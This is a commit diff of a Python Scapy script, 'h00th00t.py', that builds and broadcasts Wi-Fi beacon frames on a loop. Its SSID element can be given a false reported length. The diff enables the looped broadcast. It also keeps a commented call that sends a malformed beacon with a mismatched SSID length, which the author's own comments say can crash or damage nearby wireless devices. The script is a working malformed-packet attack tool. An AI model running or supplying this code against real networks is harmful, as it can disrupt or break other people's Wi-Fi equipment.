sum improvements into dumping the packet and dissecting it before sending

h00th00t.py

@@ -23,8 +23,7 @@ def beacon_raw(SSID=b"PrincessPiNet", reported_length=13, interval_seconds=0.25)
     ssid_info = Dot11Elt(ID='SSID', info=RawVal(SSID), len=reported_length) # magic really happens here with Scapy's RawVal() function and the reported_length
 
     # assemble the frame
-    frame = RadioTap()/dot11/Dot11Beacon()/ssid_inf
-    # frame = raw(RadioTap()/dot11/Dot11Beacon()/ssid_info) # experimental
+    frame = RadioTap()/dot11/Dot11Beacon()/ssid_info
 
     # print info
     print(f"FIRIN MY LAZORRRRRR\n\tSSID: {SSID}\n\treported length: {reported_length}\n\tinterval seconds: {interval_seconds}\n\tsender bssid/mac: {sender_bssid_mac}\n")
@@ -35,14 +34,14 @@ def beacon_raw(SSID=b"PrincessPiNet", reported_length=13, interval_seconds=0.25)
 
     # hexdump packet
     print("\n\nHexdump\n")
-    hexdump(frame)
+    hexdump(raw(frame))
 
     # send it
-    # sendp(frame, iface=iface, inter=interval_seconds, loop=1) # send on loop
+    sendp(frame, iface=iface, inter=interval_seconds, loop=1) # send on loop
 
 # this can be most any value really experimentation is needed
-ssid_binary = 0b0101 # a few random bits to send as the SSID
+ssid_binary = 0b1 # a few random bits to send as the SSID
 
 # please be careful with this, it can crash or damage your local wifi devices
-# beacon_raw(SSID=ssid_binary, reported_length=255) # send it! USE WITH EXTREME CARE
-# beacon_raw() # send dummy normal beacon for testing
+# beacon_raw(SSID=ssid_binary, reported_length=32) # send it! USE WITH EXTREME CARE
+beacon_raw() # send dummy normal beacon for testing